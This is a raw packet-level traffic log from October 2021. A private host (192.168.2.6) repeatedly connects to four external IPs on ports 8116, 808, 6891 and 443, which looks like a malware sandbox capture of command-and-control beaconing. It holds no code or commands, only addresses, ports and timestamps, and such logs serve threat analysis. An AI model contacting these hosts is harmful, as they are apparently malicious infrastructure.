Oct 28, 2021 04:59:13.512259960 CEST	49910	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:13.515135050 CEST	49910	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:13.515337944 CEST	49910	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:13.570730925 CEST	8116	49910	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:13.571063995 CEST	8116	49910	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:13.753288984 CEST	8116	49910	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:13.753310919 CEST	8116	49910	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:13.753479958 CEST	49910	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:13.753515959 CEST	49910	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:13.756640911 CEST	49910	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:13.812747002 CEST	8116	49910	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:13.866318941 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.866374016 CEST	443	49911	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:13.866477013 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.867299080 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.867319107 CEST	443	49911	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:13.971786976 CEST	443	49909	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:13.971949100 CEST	443	49909	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:13.972027063 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.972059965 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.979279041 CEST	49909	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:13.979316950 CEST	443	49909	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:14.101432085 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:14.268786907 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:14.269028902 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:14.270040035 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:14.392556906 CEST	443	49911	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:14.392749071 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:14.393723965 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:14.393745899 CEST	443	49911	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:14.403032064 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:14.403070927 CEST	443	49911	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:14.403265953 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:14.403281927 CEST	443	49911	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:14.433140993 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:14.433448076 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:14.433512926 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:14.434106112 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:14.436902046 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:14.437016010 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:14.597282887 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:14.600004911 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:14.600037098 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:14.600081921 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:14.992492914 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:14.992518902 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:14.992583990 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:14.992641926 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:15.001004934 CEST	49912	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:15.109401941 CEST	443	49911	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:15.109496117 CEST	443	49911	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:15.109606981 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:15.109632969 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:15.112823963 CEST	49911	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:15.112858057 CEST	443	49911	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:15.124876976 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:15.164345980 CEST	808	49912	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:15.290191889 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:15.290344954 CEST	6891	49913	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:15.290474892 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:15.291174889 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:15.450576067 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:15.451293945 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:15.451330900 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:15.456542015 CEST	6891	49913	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:15.456585884 CEST	6891	49913	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:15.456718922 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:15.457330942 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:15.460182905 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:15.460558891 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:15.611903906 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:15.612370968 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:15.612468958 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:15.613164902 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:15.617825985 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:15.617952108 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:15.625566959 CEST	6891	49913	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:15.625829935 CEST	6891	49913	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:15.625844955 CEST	6891	49913	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:15.773427010 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:15.778189898 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:15.778214931 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:15.778228998 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:15.778244972 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:15.778300047 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:16.003144979 CEST	6891	49913	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:16.003165007 CEST	6891	49913	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:16.003237963 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.003268003 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.009150982 CEST	49913	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.141566038 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.154778004 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:16.154824972 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:16.154948950 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:16.154978991 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:16.158118010 CEST	49914	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:16.174505949 CEST	6891	49913	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:16.195849895 CEST	8116	49915	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:16.196103096 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.197055101 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.250905991 CEST	8116	49915	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:16.251101971 CEST	8116	49915	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:16.251198053 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.252024889 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.258176088 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.258296013 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.274967909 CEST	49916	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.312153101 CEST	8116	49915	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:16.312788963 CEST	8116	49915	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:16.318844080 CEST	808	49914	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:16.441325903 CEST	6891	49916	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:16.441606998 CEST	49916	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.442532063 CEST	49916	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.482028008 CEST	8116	49915	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:16.482059956 CEST	8116	49915	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:16.482191086 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.482218981 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.490674019 CEST	49915	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:16.544570923 CEST	8116	49915	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:16.608838081 CEST	6891	49916	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:16.608892918 CEST	6891	49916	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:16.609038115 CEST	49916	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.609635115 CEST	49916	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.613467932 CEST	49916	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.613945961 CEST	49916	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:16.619261026 CEST	49917	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:16.619313955 CEST	443	49917	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:16.619437933 CEST	49917	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:16.620299101 CEST	49917	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:16.620332956 CEST	443	49917	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:16.780025005 CEST	6891	49916	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:16.780378103 CEST	6891	49916	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:16.780407906 CEST	6891	49916	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:17.134752989 CEST	443	49917	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:17.134980917 CEST	49917	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:17.135693073 CEST	49917	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:17.135718107 CEST	443	49917	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:17.140996933 CEST	49917	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:17.141036034 CEST	443	49917	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:17.141302109 CEST	49917	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:17.141330957 CEST	443	49917	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:17.166753054 CEST	6891	49916	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:17.166790009 CEST	6891	49916	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:17.166888952 CEST	49916	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:17.169718027 CEST	49916	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:17.289650917 CEST	49918	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:17.336206913 CEST	6891	49916	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:17.368194103 CEST	8116	49918	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:17.369072914 CEST	49918	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:17.369754076 CEST	49918	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:17.425107002 CEST	8116	49918	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:17.425311089 CEST	8116	49918	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:17.426232100 CEST	49918	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:17.427174091 CEST	49918	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:17.431380033 CEST	49918	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:17.431437969 CEST	49918	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:17.486795902 CEST	8116	49918	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:17.487045050 CEST	8116	49918	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:17.677397966 CEST	8116	49918	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:17.677438021 CEST	8116	49918	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:17.677598000 CEST	49918	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:17.682284117 CEST	49918	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:17.737677097 CEST	8116	49918	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:17.804636002 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:17.804713964 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:17.804846048 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:17.805382967 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:17.805419922 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:17.852185011 CEST	443	49917	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:17.852293015 CEST	443	49917	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:17.852435112 CEST	49917	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:17.858886957 CEST	49917	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:17.858923912 CEST	443	49917	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:17.982773066 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.148791075 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.148948908 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.149744987 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.298554897 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:18.298660040 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:18.299390078 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:18.299408913 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:18.304996014 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:18.305023909 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:18.305068970 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:18.305083990 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:18.314019918 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.314182043 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.314340115 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.314877987 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.319175959 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.319288015 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.479091883 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.483407021 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.483437061 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.483455896 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.483519077 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.483540058 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.871156931 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.871176004 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:18.871234894 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.871280909 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.878885984 CEST	49920	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:18.997579098 CEST	49921	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:18.998771906 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:18.998853922 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:18.998883963 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:18.998907089 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:18.998938084 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:18.998969078 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:19.002464056 CEST	49919	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:19.002500057 CEST	443	49919	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:19.043220043 CEST	808	49920	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:19.148561954 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:19.162827015 CEST	6891	49921	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:19.162971973 CEST	49921	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:19.167135000 CEST	49921	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:19.311456919 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:19.313234091 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:19.313781023 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:19.332515955 CEST	6891	49921	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:19.336985111 CEST	6891	49921	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:19.337146997 CEST	49921	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:19.337531090 CEST	49921	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:19.340326071 CEST	49921	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:19.340415001 CEST	49921	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:19.476591110 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:19.476809025 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:19.477153063 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:19.477721930 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:19.481863976 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:19.481962919 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:19.506144047 CEST	6891	49921	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:19.506160975 CEST	6891	49921	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:19.640408993 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:19.644576073 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:19.644598961 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:19.644606113 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:19.644613981 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:19.891153097 CEST	6891	49921	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:19.891175985 CEST	6891	49921	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:19.891364098 CEST	49921	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:19.898319006 CEST	49921	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:20.025495052 CEST	49923	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:20.029509068 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:20.029524088 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:20.029675961 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:20.029731035 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:20.032893896 CEST	49922	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:20.063652992 CEST	6891	49921	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:20.078099012 CEST	8116	49923	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:20.079315901 CEST	49923	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:20.079868078 CEST	49923	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:20.131958008 CEST	8116	49923	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:20.132374048 CEST	8116	49923	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:20.132510900 CEST	49923	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:20.133121014 CEST	49923	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:20.137110949 CEST	49923	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:20.137336969 CEST	49923	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:20.148344994 CEST	49924	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:20.189954996 CEST	8116	49923	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:20.189975977 CEST	8116	49923	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:20.190769911 CEST	8116	49923	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:20.195661068 CEST	808	49922	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:20.313905001 CEST	6891	49924	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:20.314017057 CEST	49924	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:20.314651012 CEST	49924	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:20.381730080 CEST	8116	49923	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:20.381779909 CEST	8116	49923	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:20.381949902 CEST	49923	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:20.388628006 CEST	49923	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:20.442261934 CEST	8116	49923	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:20.480885983 CEST	6891	49924	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:20.480926037 CEST	6891	49924	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:20.481070995 CEST	49924	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:20.481499910 CEST	49924	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:20.484240055 CEST	49924	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:20.484386921 CEST	49924	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:20.519048929 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:20.519098997 CEST	443	49925	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:20.519567966 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:20.526217937 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:20.526273966 CEST	443	49925	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:20.649631023 CEST	6891	49924	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:20.649657011 CEST	6891	49924	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:21.014842987 CEST	443	49925	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:21.017386913 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.027441025 CEST	6891	49924	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:21.027475119 CEST	6891	49924	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:21.027595997 CEST	49924	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:21.028482914 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.028491974 CEST	443	49925	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:21.032560110 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.032572031 CEST	443	49925	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:21.032669067 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.032684088 CEST	443	49925	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:21.042762995 CEST	49924	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:21.149698019 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.203010082 CEST	8116	49926	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:21.203145981 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.204382896 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.208029985 CEST	6891	49924	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:21.257643938 CEST	8116	49926	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:21.257770061 CEST	8116	49926	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:21.257890940 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.264522076 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.268630981 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.268742085 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.321962118 CEST	8116	49926	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:21.321985006 CEST	8116	49926	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:21.507042885 CEST	8116	49926	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:21.507064104 CEST	8116	49926	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:21.507199049 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.507231951 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.510335922 CEST	49926	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:21.567406893 CEST	8116	49926	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:21.625833988 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.625881910 CEST	443	49927	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:21.625962973 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.626720905 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.626730919 CEST	443	49927	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:21.720133066 CEST	443	49925	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:21.720206022 CEST	443	49925	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:21.720227957 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.720267057 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.728358984 CEST	49925	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:21.728382111 CEST	443	49925	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:21.953440905 CEST	49928	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:22.120635033 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.120793104 CEST	49928	808	192.168.2.6	143.244.140.214
